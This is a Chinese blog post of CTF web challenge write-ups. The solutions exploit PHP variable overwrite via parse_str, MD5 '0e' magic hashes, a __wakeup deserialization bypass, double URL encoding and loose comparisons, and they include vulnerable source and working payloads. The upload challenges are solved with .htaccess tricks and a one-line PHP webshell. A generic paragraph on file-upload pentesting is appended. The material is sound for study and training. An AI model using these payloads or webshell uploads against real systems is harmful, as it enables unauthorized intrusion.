最近做的题的wp

variacover

主要考点是变量覆盖

<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) {
    show_source(__FILE__);
    die();
}else{
    include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) //判断$a[0]的值不是QNKCDZO且$a[0]的MD5值要和QNKCDZO的MD5值相同
{
    echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>

接受参数的只有变量b,但是需要更改参数a[0]

@parse_str($b)把查询字符串解析到变量中,如果有同名变量,将原来的覆盖。

由于PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

PHP处理0e开头md5哈希字符串缺陷/bug

构造payload:

?b=a[0]=s878926199a

拿到flag ayyctf{318fa61ae531e1778ffa6661c9b1ff06}

upload1

F12 删除前端认证,然后上一句话木马 蚁剑连接拿flag

upload

先bp抓包上传.htaccess文件,将png文件解析为php文件,然后上一句话木马 蚁剑连接拿flag

unserialize3

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

反序列化 利用php中的new 实例化类xctf

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
    }
}
$a=new xctf();
echo(serialize($a));
?>

获得payload:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

利用_wakeup()函数漏洞

把1改成2

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

PHP2

没有头绪

扫了一下目录看到了index.phps

拿到源码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

传一个名为id的参数,参数值必须为经过url编码后的admin

因为url发到服务器那里会自动解码一次

所以需要二次编码

payload:

/index.php?id=%2561%2564%256d%2569%256e

PHP

扫目录拿到index.php~

拿到源码

<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
        $aaa = $_GET['aaa'];
		$aaa=="1"?die("Emmm..."):NULL;
        switch ($aaa)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
    is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
    if(@$bbb["ccc"]){
        ($bbb["ccc"]>2017)?$b=1:NULL;
    }
	if(is_array(@$bbb["ddd"])){
        if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
        $eee = array_search("XMAN", $bbb["ddd"]);
        $eee===false?die("Emmm..."):NULL;
        foreach($bbb["ddd"] as $key=>$val){
            $val==="XMAN"?die("Emmm..."):NULL;
        }
        $c=1;
}
}
if($a && $b && $c){
    include "flag.php";
    echo $flag;
}
?>

三个参数都为1时可以拿到flag

$a:

​ witch…case的弱类型比较,可以用1a绕过

$b:

​ $bbb[“ccc”]>2017 依然是弱类型比较, 让’ccc’ => ‘2018a’ 即可

$c:

​ array_search函数的绕过,

构造payload:

/index.php?aaa=1a&bbb={"ccc":"2018a","ddd":[[""],0]}

拿到flag

ayyctf{a2e43398d5d1a8513b233b2f0f8fa86f}

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
有道云笔记是一款文件管理和云存储平台,用户可以将各种文件上传至云端进行保存和管理。针对有道云笔记的渗透测试的文件上传核,主要是测试目标是否存在文件上传漏洞。 文件上传漏洞是指攻击者通过上传恶意文件或者利用上传功能绕过限制,成功在目标服务器上执行任意代码或者获取未授权的访问权限。攻击者可通过上传特定类型的文件,利用后台执行逻辑漏洞或者文件解析漏洞,从而实现对目标系统的攻击或控制。 针对有道云笔记的文件上传漏洞,常见的测试方法包括: 1. 尝试上传各种类型的文件:测试能否上传系统可执行文件、脚本文件或者危险的文件类型。 2. 绕过后台验证:尝试修改请求报文、绕过文件类型检查、篡改上传文件路径等,测试服务器是否能正确地执行上传操作的检查。 3. 文件解析漏洞测试:测试上传的文件是否能够被服务器直接解析,并且触发对应的解析漏洞。 4. 文件重命名与遍历:测试能否修改上传文件的文件名,并尝试通过../等目录遍历操作访问到其他敏感文件。 针对发现的漏洞和问,需要将测试结果整理成详细的渗透测试报告,包括漏洞描述、危害程度评估和修复建议等。然后与有道云笔记的开发团队和管理员进行沟通,提供测试结果和修复建议,并跟踪漏洞修复进展。 及时发现和修复文件上传漏洞,对于保护用户数据和防止潜在的攻击十分重要。因此,有道云笔记应该充分重视渗透测试的文件上传核,加强安全意识和漏洞修复的流程,确保用户数据的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值